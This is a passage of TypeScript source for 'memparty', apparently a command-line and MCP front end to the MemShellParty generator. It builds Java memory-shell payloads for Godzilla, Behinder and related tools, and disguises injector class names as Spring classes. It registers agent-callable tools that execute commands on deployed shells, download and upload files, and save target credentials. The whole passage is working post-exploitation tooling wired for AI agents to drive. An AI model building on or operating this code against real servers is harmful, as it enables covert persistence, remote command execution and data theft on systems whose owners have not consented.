boolean;\n}\n\nexport interface OutputResult {\n /** Where the payload went: a file path, or \"stdout\". */\n destination: string;\n /** Number of bytes written (file) or characters printed (stdout). */\n size: number;\n /** Whether the payload was base64-decoded. */\n decoded: boolean;\n}\n\nfunction hasBinaryExtension(path: string): boolean {\n const lower = path.toLowerCase();\n return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));\n}\n\n/**\n * Decide whether a payload should be base64-decoded before writing.\n * Explicit `decode` wins; otherwise infer from the output file extension.\n */\nexport function shouldDecode(opts: OutputOptions): boolean {\n if (opts.decode !== undefined) return opts.decode;\n if (opts.outFile) return hasBinaryExtension(opts.outFile);\n return false;\n}\n\n/**\n * Emit a payload string either to a file or to stdout.\n * Uses injectable sinks so it can be unit-tested without touching the real fs/stdout.\n */\nexport function emitPayload(\n payload: string,\n opts: OutputOptions,\n sinks: {\n writeFile?: (path: string, data: Buffer | string) => void;\n writeStdout?: (data: string) => void;\n } = {},\n): OutputResult {\n const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));\n const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));\n const decoded = shouldDecode(opts);\n\n if (opts.outFile) {\n if (decoded) {\n const buf = Buffer.from(payload, \"base64\");\n writeFile(opts.outFile, buf);\n return { destination: opts.outFile, size: buf.length, decoded: true };\n }\n writeFile(opts.outFile, payload);\n return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };\n }\n\n // stdout\n if (decoded) {\n const buf = Buffer.from(payload, \"base64\");\n writeStdout(buf.toString(\"binary\"));\n return { destination: \"stdout\", size: buf.length, decoded: true };\n }\n writeStdout(payload.endsWith(\"\\n\") ? payload : `${payload}\\n`);\n return { destination: \"stdout\", size: payload.length, decoded: false };\n}\n\n/** The subset of a generate response that carries the packed payload(s). */\nexport interface PackResultsShape {\n packResult?: string;\n allPackResults?: Record<string, string> | null;\n}\n\n/** True when the response holds several packer variants at once (aggregate packer). */\nexport function hasMultiplePackResults(r: PackResultsShape): boolean {\n return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;\n}\n\n/**\n * Write a generate response's payload to a file/stdout, requiring a single\n * packed result. Throws a clear error when an aggregate packer returned\n * several variants (there is no single file to write) or none at all.\n */\nexport function emitSinglePackResult(\n r: PackResultsShape,\n opts: OutputOptions,\n sinks: {\n writeFile?: (path: string, data: Buffer | string) => void;\n writeStdout?: (data: string) => void;\n } = {},\n): OutputResult {\n if (hasMultiplePackResults(r)) {\n const n = Object.keys(r.allPackResults!).length;\n throw new Error(\n `the aggregate packer returned ${n} variants at once — cannot write them to a single file. ` +\n `Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`,\n );\n }\n if (r.packResult === undefined) {\n throw new Error(\"Server returned no packResult.\");\n }\n return emitPayload(r.packResult, opts, sinks);\n}\n","import { randomInt } from \"node:crypto\";\n\nimport type {\n MemShellGenerateRequest,\n ProbeShellGenerateRequest,\n} from \"../api/types.js\";\nimport { resolveJreVersion } from \"./jdk.js\";\n\n/**\n * Packers that require a randomised Spring expression injector class name.\n * Ported from web/app/utils/transformer.ts.\n */\nconst SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([\n \"SpEL\",\n \"SpELSpringGzipJDK17\",\n \"OGNL\",\n \"OGNLSpringGzipJDK17\",\n \"JXPath\",\n \"JXPathSpringGzipJDK17\",\n]);\n\nconst UPPERCASE_LETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\nconst CLASS_NAME_LETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\nfunction randomChar(chars: string): string {\n return chars[randomInt(chars.length)];\n}\n\nfunction generateSpringExpressionInjectorClassName(): string {\n const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join(\"\");\n return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;\n}\n\n/** Flat option set for building a memshell request (from flags or the wizard). */\nexport interface MemShellOptions {\n server: string;\n serverVersion?: string;\n shellTool: string;\n shellType: string;\n packer: string;\n\n jdk?: string | number;\n debug?: boolean;\n byPassJavaModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n probe?: boolean;\n\n shellClassName?: string;\n godzillaPass?: string;\n godzillaKey?: string;\n commandParamName?: string;\n commandTemplate?: string;\n behinderPass?: string;\n antSwordPass?: string;\n headerName?: string;\n headerValue?: string;\n shellClassBase64?: string;\n encryptor?: string;\n implementationClass?: string;\n\n urlPattern?: string;\n injectorClassName?: string;\n staticInitialize?: boolean;\n}\n\nexport function buildMemShellRequest(opts: MemShellOptions): MemShellGenerateRequest {\n const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer)\n ? generateSpringExpressionInjectorClassName()\n : opts.injectorClassName;\n\n return {\n shellConfig: {\n server: opts.server,\n serverVersion: opts.serverVersion,\n shellTool: opts.shellTool,\n shellType: opts.shellType,\n targetJreVersion: resolveJreVersion(opts.jdk),\n debug: opts.debug,\n byPassJavaModule: opts.byPassJavaModule,\n shrink: opts.shrink,\n lambdaSuffix: opts.lambdaSuffix,\n probe: opts.probe,\n },\n shellToolConfig: {\n shellClassName: opts.shellClassName,\n godzillaPass: opts.godzillaPass,\n godzillaKey: opts.godzillaKey,\n commandParamName: opts.commandParamName,\n commandTemplate: opts.commandTemplate,\n behinderPass: opts.behinderPass,\n antSwordPass: opts.antSwordPass,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n shellClassBase64: opts.shellClassBase64,\n encryptor: opts.encryptor,\n implementationClass: opts.implementationClass,\n },\n injectorConfig: {\n injectorClassName,\n urlPattern: opts.urlPattern,\n staticInitialize: opts.staticInitialize,\n },\n packer: opts.packer,\n };\n}\n\n/** Flat option set for building a probe request. */\nexport interface ProbeOptions {\n probeMethod: string;\n probeContent: string;\n packer: string;\n\n shellClassName?: string;\n jdk?: string | number;\n debug?: boolean;\n byPassJavaModule?: boolean;\n shrink?: boolean;\n staticInitialize?: boolean;\n lambdaSuffix?: boolean;\n\n host?: string;\n seconds?: number;\n sleepServer?: string;\n server?: string;\n reqParamName?: string;\n commandTemplate?: string;\n}\n\nexport function buildProbeRequest(opts: ProbeOptions): ProbeShellGenerateRequest {\n return {\n probeConfig: {\n probeMethod: opts.probeMethod,\n probeContent: opts.probeContent,\n shellClassName: opts.shellClassName,\n targetJreVersion: resolveJreVersion(opts.jdk),\n debug: opts.debug,\n byPassJavaModule: opts.byPassJavaModule,\n shrink: opts.shrink,\n staticInitialize: opts.staticInitialize,\n lambdaSuffix: opts.lambdaSuffix,\n },\n probeContentConfig: {\n host: opts.host,\n seconds: opts.seconds,\n sleepServer: opts.sleepServer,\n server: opts.server,\n reqParamName: opts.reqParamName,\n commandTemplate: opts.commandTemplate,\n },\n packer: opts.packer,\n };\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { checkbox, confirm, input, select, Separator } from \"@inquirer/prompts\";\n\nimport type { MemPartyClient } from \"../api/client.js\";\nimport { JDK_VERSIONS } from \"../core/jdk.js\";\nimport type { MemShellOptions } from \"../core/request-builder.js\";\n\nconst JDK_CHOICES = [\n { name: \"server default\", value: \"\" },\n ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({\n name: `${name} (${major})`,\n value: name,\n })),\n];\n\nfunction packerChoices(tree: { name: string; children: string[] }[]) {\n const choices: (Separator | { name: string; value: string })[] = [];\n for (const parent of tree) {\n choices.push(new Separator(`── ${parent.name} ──`));\n choices.push({ name: parent.name, value: parent.name });\n for (const child of parent.children) {\n choices.push({ name: ` ${child}`, value: child });\n }\n }\n return choices;\n}\n\n/** Drive an interactive prompt flow, returning options for buildMemShellRequest. */\nexport async function runMemShellWizard(client: MemPartyClient): Promise<MemShellOptions> {\n const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);\n\n const server = await select({\n message: \"Target server\",\n choices: Object.keys(config).map((s) => ({ name: s, value: s })),\n });\n\n const tools = Object.keys(config[server]);\n const shellTool = await select({\n message: \"Shell tool\",\n choices: tools.map((t) => ({ name: t, value: t })),\n });\n\n const shellType = await select({\n message: \"Shell type\",\n choices: config[server][shellTool].map((t) => ({ name: t, value: t })),\n });\n\n const packer = await select({\n message: \"Packer\",\n choices: packerChoices(packerTree),\n });\n\n const opts: MemShellOptions = { server, shellTool, shellType, packer };\n\n // Tool-specific configuration.\n switch (shellTool) {\n case \"Godzilla\":\n opts.godzillaPass = await input({ message: \"Godzilla pass\", default: \"pass\" });\n opts.godzillaKey = await input({ message: \"Godzilla key\", default: \"key\" });\n break;\n case \"Behinder\":\n opts.behinderPass = await input({ message: \"Behinder pass\", default: \"rebeyond\" });\n break;\n case \"AntSword\":\n opts.antSwordPass = await input({ message: \"AntSword pass\", default: \"ant\" });\n break;\n case \"Command\": {\n opts.commandParamName = await input({ message: \"Command param name\", default: \"cmd\" });\n const cc = await client.getCommandConfigs();\n opts.encryptor = await select({\n message: \"Encryptor\",\n choices: cc.encryptors.map((e) => ({ name: e, value: e })),\n });\n opts.implementationClass = await select({\n message: \"Implementation class\",\n choices: cc.implementationClasses.map((e) => ({ name: e, value: e })),\n });\n const template = await input({ message: \"Command template (optional, {command} placeholder)\", default: \"\" });\n if (template) opts.commandTemplate = template;\n break;\n }\n case \"Custom\": {\n const file = await input({ message: \"Path to custom .class file\" });\n opts.shellClassBase64 = readFileSync(file).toString(\"base64\");\n break;\n }\n default:\n break;\n }\n\n // Common header config (used by several tools).\n opts.headerName = await input({ message: \"Header name\", default: \"User-Agent\" });\n const headerValue = await input({ message: \"Header value (optional)\", default: \"\" });\n if (headerValue) opts.headerValue = headerValue;\n\n const shellClassName = await input({ message: \"Shell class name (optional, random if empty)\", default: \"\" });\n if (shellClassName) opts.shellClassName = shellClassName;\n\n opts.urlPattern = await input({ message: \"URL pattern\", default: \"/*\" });\n\n const jdk = await select({ message: \"Target JDK\", choices: JDK_CHOICES });\n if (jdk) opts.jdk = jdk;\n\n const toggles = await checkbox({\n message: \"Options\",\n choices: [\n { name: \"shrink bytecode\", value: \"shrink\", checked: true },\n { name: \"static initialize\", value: \"staticInitialize\", checked: true },\n { name: \"bypass Java module\", value: \"byPassJavaModule\" },\n { name: \"lambda suffix\", value: \"lambdaSuffix\" },\n { name: \"debug\", value: \"debug\" },\n ],\n });\n opts.shrink = toggles.includes(\"shrink\");\n opts.staticInitialize = toggles.includes(\"staticInitialize\");\n opts.byPassJavaModule = toggles.includes(\"byPassJavaModule\");\n opts.lambdaSuffix = toggles.includes(\"lambdaSuffix\");\n opts.debug = toggles.includes(\"debug\");\n\n const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });\n if (!confirmed) {\n throw new Error(\"Cancelled by user.\");\n }\n\n return opts;\n}\n","import { Command, Option } from \"commander\";\r\n\r\nimport { formatOp, opLogPath, readOps, type OpCategory } from \"../core/oplog.js\";\r\n\r\ninterface LogCmdOptions {\r\n category?: OpCategory;\r\n target?: string;\r\n limit?: string;\r\n json?: boolean;\r\n}\r\n\r\nexport function registerLogCommand(program: Command): void {\r\n program\r\n .command(\"log\")\r\n .description(\"Show the global operation log\")\r\n .addOption(\r\n new Option(\"--category <name>\", \"filter by operation category\").choices([\r\n \"gen\",\r\n \"probe\",\r\n \"connect\",\r\n \"exec\",\r\n \"download\",\r\n \"upload\",\r\n \"save\",\r\n \"note\",\r\n \"remove\",\r\n ]),\r\n )\r\n .option(\r\n \"--target <name>\",\r\n \"filter by target: project name, project/shell, or a URL substring (e.g. host)\",\r\n )\r\n .option(\"--limit <n>\", \"max entries (default 50)\", \"50\")\r\n .option(\"--json\", \"output raw JSON entries (newest first)\")\r\n .addHelpText(\r\n \"after\",\r\n `\r\nExamples:\r\n $ memparty log # latest 50 operations\r\n $ memparty log --category exec # only command executions\r\n $ memparty log --category save # only target saves\r\n $ memparty log --target web1 # everything against project web1\r\n $ memparty log --category exec --target 192.0.2.10 --json\r\n`,\r\n )\r\n .action((opts: LogCmdOptions) => {\r\n const limit = Number.parseInt(opts.limit ?? \"50\", 10);\r\n const entries = readOps({\r\n category: opts.category,\r\n target: opts.target,\r\n limit: Number.isNaN(limit) ? 50 : limit,\r\n });\r\n if (opts.json) {\r\n process.stdout.write(`${JSON.stringify({ logPath: opLogPath(), entries }, null, 2)}\\n`);\r\n return;\r\n }\r\n if (entries.length === 0) {\r\n process.stdout.write(`no operations logged yet (log: ${opLogPath()})\\n`);\r\n return;\r\n }\r\n for (const entry of entries) {\r\n process.stdout.write(`${formatOp(entry)}\\n`);\r\n }\r\n });\r\n}\r\n","import { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\";\nimport { StdioServerTransport } from \"@modelcontextprotocol/sdk/server/stdio.js\";\nimport { writeFileSync } from \"node:fs\";\nimport { z } from \"zod\";\n\nimport { MemPartyClient } from \"../api/client.js\";\nimport {\n downloadBehinder,\n execBehinder,\n testBehinder,\n uploadBehinder,\n} from \"../connect/behinder.js\";\nimport {\n downloadGodzilla,\n execGodzilla,\n testGodzilla,\n uploadGodzilla,\n} from \"../connect/godzilla.js\";\nimport { testSuo5 } from \"../connect/suo5.js\";\nimport type {\n ConnectTestResult,\n DownloadResult,\n ExecResult,\n TransferResult,\n} from \"../connect/types.js\";\nimport { readUploadFile, resolveDownloadPath } from \"../core/localfile.js\";\nimport { logOp, opLogPath, readOps, truncateOutput, type OpCategory } from \"../core/oplog.js\";\nimport { emitSinglePackResult } from \"../core/output.js\";\nimport {\n autoSaveShell,\n listProjects,\n removeProject,\n removeShell,\n resolveConnection,\n saveProjectMeta,\n saveShell,\n saveShellMeta,\n targetStorePath,\n} from \"../core/targets.js\";\nimport { buildMemShellRequest } from \"../core/request-builder.js\";\nimport { buildProbeRequest } from \"../core/request-builder.js\";\nimport { CLI_VERSION } from \"../version.js\";\n\nfunction jsonContent(data: unknown) {\n return { content: [{ type: \"text\" as const, text: JSON.stringify(data, null, 2) }] };\n}\n\nfunction errorContent(err: unknown) {\n return {\n isError: true,\n content: [{ type: \"text\" as const, text: `Error: ${(err as Error).message}` }],\n };\n}\n\nconst memShellInput = {\n server: z.string().describe(\"Target server, e.g. Tomcat\"),\n serverVersion: z.string().optional(),\n shellTool: z.string().describe(\"Shell tool, e.g. Godzilla, Behinder, Command\"),\n shellType: z.string().describe(\"Shell type, e.g. Listener, Filter, Servlet\"),\n packer: z.string().describe(\"Packer, e.g. Base64, Jar, JSP\"),\n jdk: z.string().optional().describe(\"java6/8/9/11/17/21 or class-file major version\"),\n debug: z.boolean().optional(),\n byPassJavaModule: z.boolean().optional(),\n shrink: z.boolean().optional(),\n lambdaSuffix: z.boolean().optional(),\n probe: z.boolean().optional(),\n shellClassName: z.string().optional(),\n godzillaPass: z.string().optional(),\n godzillaKey: z.string().optional(),\n behinderPass: z.string().optional(),\n antSwordPass: z.string().optional(),\n commandParamName: z.string().optional(),\n commandTemplate: z.string().optional(),\n encryptor: z.string().optional(),\n implementationClass: z.string().optional(),\n headerName: z.string().optional(),\n headerValue: z.string().optional(),\n shellClassBase64: z.string().optional(),\n urlPattern: z.string().optional(),\n injectorClassName: z.string().optional(),\n staticInitialize: z.boolean().optional(),\n outputFile: z\n .string()\n .optional()\n .describe(\n \"also write the packed payload to this local file \" +\n \"(auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an \" +\n \"outputFile field with the write result. Fails for aggregate packers that \" +\n \"return several variants — pick a leaf packer (e.g. DefaultBase64).\",\n ),\n};\n\nconst probeInput = {\n probeMethod: z.enum([\"ResponseBody\", \"DNSLog\", \"Sleep\"]),\n probeContent: z.string().describe(\"BasicInfo, Server, OS, JDK, Bytecode, Command\"),\n packer: z.string(),\n jdk: z.string().optional(),\n debug: z.boolean().optional(),\n byPassJavaModule: z.boolean().optional(),\n shrink: z.boolean().optional(),\n lambdaSuffix: z.boolean().optional(),\n staticInitialize: z.boolean().optional(),\n shellClassName: z.string().optional(),\n host: z.string().optional(),\n seconds: z.number().optional(),\n sleepServer: z.string().optional(),\n server: z.string().optional(),\n reqParamName: z.string().optional(),\n commandTemplate: z.string().optional(),\n outputFile: memShellInput.outputFile,\n};\n\nconst connectInput = {\n name: z\n .string()\n .optional()\n .describe(\n \"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) — \" +\n \"when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)\",\n ),\n url: z.string().optional().describe(\"URL of the deployed shell (or pass `name`)\"),\n tool: z\n .enum([\"godzilla\", \"behinder\", \"suo5\"])\n .optional()\n .describe(\"shell tool to test (or taken from the saved target)\"),\n pass: z\n .string()\n .optional()\n .describe(\"password (godzilla default: pass; behinder default: rebeyond)\"),\n key: z.string().optional().describe(\"godzilla key (default: key)\"),\n headerName: z\n .string()\n .optional()\n .describe(\"gate header name from generate_memshell shellToolConfig (usually User-Agent)\"),\n headerValue: z\n .string()\n .optional()\n .describe(\"gate header value from generate_memshell shellToolConfig — required for MemShellParty shells\"),\n suo5Mode: z\n .enum([\"auto\", \"v2\", \"v1\"])\n .optional()\n .describe(\"suo5 protocol variant (default: auto)\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n timeoutMs: z.number().optional().describe(\"request timeout in milliseconds (default 30000)\"),\n};\n\nconst execInput = {\n name: z\n .string()\n .optional()\n .describe(\n \"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) — \" +\n \"when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)\",\n ),\n url: z.string().optional().describe(\"URL of the deployed shell (or pass `name`)\"),\n tool: z\n .enum([\"godzilla\", \"behinder\"])\n .optional()\n .describe(\"shell tool to execute through (or taken from the saved target)\"),\n command: z.string().describe(\"command line to execute on the target\"),\n pass: z\n .string()\n .optional()\n .describe(\"password (godzilla default: pass; behinder default: rebeyond)\"),\n key: z.string().optional().describe(\"godzilla key (default: key)\"),\n os: z\n .enum([\"auto\", \"windows\", \"linux\"])\n .optional()\n .describe(\n \"godzilla only: remote OS for the shell wrapper (default: auto — one extra request to detect; behinder detects the OS inside its payload)\",\n ),\n headerName: z\n .string()\n .optional()\n .describe(\"gate header name from generate_memshell shellToolConfig (usually User-Agent)\"),\n headerValue: z\n .string()\n .optional()\n .describe(\"gate header value from generate_memshell shellToolConfig — required for MemShellParty shells\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n timeoutMs: z.number().optional().describe(\"request timeout in milliseconds (default 30000)\"),\n};\n\n/** Connection fields shared by download_file / upload_file (no command/os). */\nconst transferConnInput = {\n name: execInput.name,\n url: execInput.url,\n tool: execInput.tool,\n pass: execInput.pass,\n key: execInput.key,\n headerName: execInput.headerName,\n headerValue: execInput.headerValue,\n insecure: execInput.insecure,\n timeoutMs: execInput.timeoutMs,\n remoteCharset: z\n .string()\n .optional()\n .describe(\n \"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)\",\n ),\n};\n\nconst downloadInput = {\n ...transferConnInput,\n remotePath: z.string().describe(\"remote file path to download\"),\n localPath: z\n .string()\n .optional()\n .describe(\n \"local destination (default: ./<remote basename>; an existing directory keeps the basename)\",\n ),\n force: z\n .boolean()\n .optional()\n .describe(\"overwrite the local file when it already exists (default: refuse)\"),\n};\n\nconst uploadInput = {\n ...transferConnInput,\n localPath: z.string().describe(\"local file to upload (max 64 MiB)\"),\n remotePath: z.string().describe(\"remote destination path (overwritten when it exists)\"),\n};\n\nconst targetSaveInput = {\n project: z.string().describe(\"project name (created when missing)\"),\n shell: z.string().describe(\"shell name inside the project\"),\n url: z.string().describe(\"URL of the deployed shell\"),\n tool: z.enum([\"godzilla\", \"behinder\", \"suo5\"]).describe(\"shell tool\"),\n pass: z.string().optional().describe(\"password\"),\n key: z.string().optional().describe(\"godzilla key\"),\n headerName: z.string().optional().describe(\"gate header name (shellToolConfig.headerName)\"),\n headerValue: z.string().optional().describe(\"gate header value (shellToolConfig.headerValue)\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n projectRemark: z.string().optional().describe(\"project remark (merged into the project)\"),\n projectCategory: z.string().optional().describe(\"project category (merged into the project)\"),\n shellRemark: z.string().optional().describe(\"remark for this shell\"),\n};\n\nexport function createMcpServer(client: MemPartyClient): McpServer {\n const server = new McpServer({ name: \"memshell-party\", version: CLI_VERSION });\n\n server.registerTool(\n \"list_servers\",\n { title: \"List servers\", description: \"List supported servers and their shell types\" },\n async () => {\n try {\n return jsonContent(await client.getServers());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_config\",\n {\n title: \"List full config\",\n description: \"List every server's shell tools and their supported shell types\",\n },\n async () => {\n try {\n return jsonContent(await client.getConfig());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_packers\",\n { title: \"List packers\", description: \"List packers as a parent/child tree\" },\n async () => {\n try {\n return jsonContent(await client.getPackerTree());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_command_configs\",\n {\n title: \"List command configs\",\n description: \"List Command-tool encryptors and implementation classes\",\n },\n async () => {\n try {\n return jsonContent(await client.getCommandConfigs());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"generate_memshell\",\n {\n title: \"Generate memory shell\",\n description:\n \"Generate a Java memory shell payload. The packed payload comes back in \" +\n \"`packResult`; pass `outputFile` to also write it to a local file \" +\n \"(base64 auto-decoded for .class/.jar/.zip/.ser/.bin).\",\n inputSchema: memShellInput,\n },\n async (args) => {\n const meta = {\n server: args.server,\n serverVersion: args.serverVersion,\n shellTool: args.shellTool,\n shellType: args.shellType,\n packer: args.packer,\n jdk: args.jdk,\n };\n const started = Date.now();\n try {\n const response = await client.generateMemShell(buildMemShellRequest(args));\n const outputFile =\n args.outputFile !== undefined\n ? emitSinglePackResult(response, { outFile: args.outputFile })\n : undefined;\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,\n meta,\n });\n return jsonContent(outputFile === undefined ? response : { ...response, outputFile });\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: false,\n durationMs: Date.now() - started,\n error: (err as Error).message,\n meta,\n });\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"generate_probe\",\n {\n title: \"Generate probe shell\",\n description:\n \"Generate a probe/detection shell payload. The packed payload comes back in \" +\n \"`packResult`; pass `outputFile` to also write it to a local file \" +\n \"(base64 auto-decoded for .class/.jar/.zip/.ser/.bin).\",\n inputSchema: probeInput,\n },\n async (args) => {\n const meta = {\n probeMethod: args.probeMethod,\n probeContent: args.probeContent,\n packer: args.packer,\n jdk: args.jdk,\n };\n const started = Date.now();\n try {\n const response = await client.generateProbe(buildProbeRequest(args));\n const outputFile =\n args.outputFile !== undefined\n ? emitSinglePackResult(response, { outFile: args.outputFile })\n : undefined;\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,\n meta,\n });\n return jsonContent(outputFile === undefined ? response : { ...response, outputFile });\n } catch (err) {\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: false,\n durationMs: Date.now() - started,\n error: (err as Error).message,\n meta,\n });\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"parse_classname\",\n {\n title: \"Parse class name\",\n description: \"Parse the fully-qualified class name from base64-encoded .class bytes\",\n inputSchema: { classBase64: z.string().describe(\"base64-encoded .class file bytes\") },\n },\n async ({ classBase64 }) => {\n try {\n return jsonContent({ className: await client.parseClassName(classBase64) });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"server_version\",\n { title: \"Server version\", description: \"Get the backend server version info\" },\n async () => {\n try {\n return jsonContent(await client.getVersion());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"connect_test\",\n {\n title: \"Test shell connection\",\n description:\n \"Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the \" +\n \"credentials work, by performing the tool's real protocol handshake. \" +\n \"Pass a saved target `name`, or url+tool with the gate header \" +\n \"(headerName/headerValue) from generate_memshell output for MemShellParty shells. \" +\n \"On success the profile is auto-saved and the canonical name returned as \" +\n \"`savedAs` — reuse it as `name` in later calls.\",\n inputSchema: connectInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n };\n let result: ConnectTestResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await testGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", common);\n break;\n case \"behinder\":\n result = await testBehinder(conn.url, conn.pass ?? \"rebeyond\", common);\n break;\n case \"suo5\":\n result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });\n break;\n default:\n throw new Error(`unknown tool ${String(conn.tool)}`);\n }\n // a successful handshake proves the credentials — keep them as a named target\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n logOp({\n category: \"connect\",\n action: \"connect\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.detail,\n error: result.error,\n });\n return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"exec_command\",\n {\n title: \"Execute command on shell\",\n description:\n \"Execute a command line on a deployed Godzilla / Behinder shell and return its \" +\n \"stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / \" +\n \"Behinder Cmd payload). Run connect_test first to verify credentials; pass a \" +\n \"saved target `name`, or url+tool with the same gate header \" +\n \"(headerName/headerValue) for MemShellParty shells. On success the profile \" +\n \"is auto-saved and the canonical name returned as `savedAs`.\",\n inputSchema: execInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n };\n let result: ExecResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await execGodzilla(\n conn.url,\n conn.pass ?? \"pass\",\n conn.key ?? \"key\",\n args.command,\n { ...common, os: args.os },\n );\n break;\n case \"behinder\":\n result = await execBehinder(conn.url, conn.pass ?? \"rebeyond\", args.command, common);\n break;\n default:\n throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);\n }\n // a successful exec proves the credentials — keep them as a named target\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n const truncated = result.output !== undefined ? truncateOutput(result.output) : null;\n logOp({\n category: \"exec\",\n action: \"exec\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n command: args.command,\n output: truncated?.output,\n outputTruncated: truncated?.truncated || undefined,\n error: result.error,\n });\n return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"download_file\",\n {\n title: \"Download file from shell\",\n description:\n \"Download a file from a deployed Godzilla / Behinder shell to the local machine. \" +\n \"Chunked transfer with integrity verification (Godzilla: remote size; Behinder: MD5). \" +\n \"Pass a saved target `name`, or url+tool with the gate header for MemShellParty shells. \" +\n \"The local file is never overwritten unless force=true. On success the profile is \" +\n \"auto-saved and the canonical name returned as `savedAs`.\",\n inputSchema: downloadInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n };\n // decide + validate the local destination before touching the network\n const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);\n\n let result: DownloadResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await downloadGodzilla(\n conn.url,\n conn.pass ?? \"pass\",\n conn.key ?? \"key\",\n args.remotePath,\n { ...common, remoteCharset: args.remoteCharset },\n );\n break;\n case \"behinder\":\n result = await downloadBehinder(\n conn.url,\n conn.pass ?? \"rebeyond\",\n args.remotePath,\n common,\n );\n break;\n default:\n throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);\n }\n if (result.ok && result.data !== undefined) {\n try {\n writeFileSync(localPath, result.data);\n } catch (err) {\n result = {\n ...result,\n ok: false,\n error: `download succeeded but writing ${localPath} failed: ${(err as Error).message}`,\n };\n }\n }\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n logOp({\n category: \"download\",\n action: \"download\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.ok\n ? `${args.remotePath} -> ${localPath} (${result.bytes 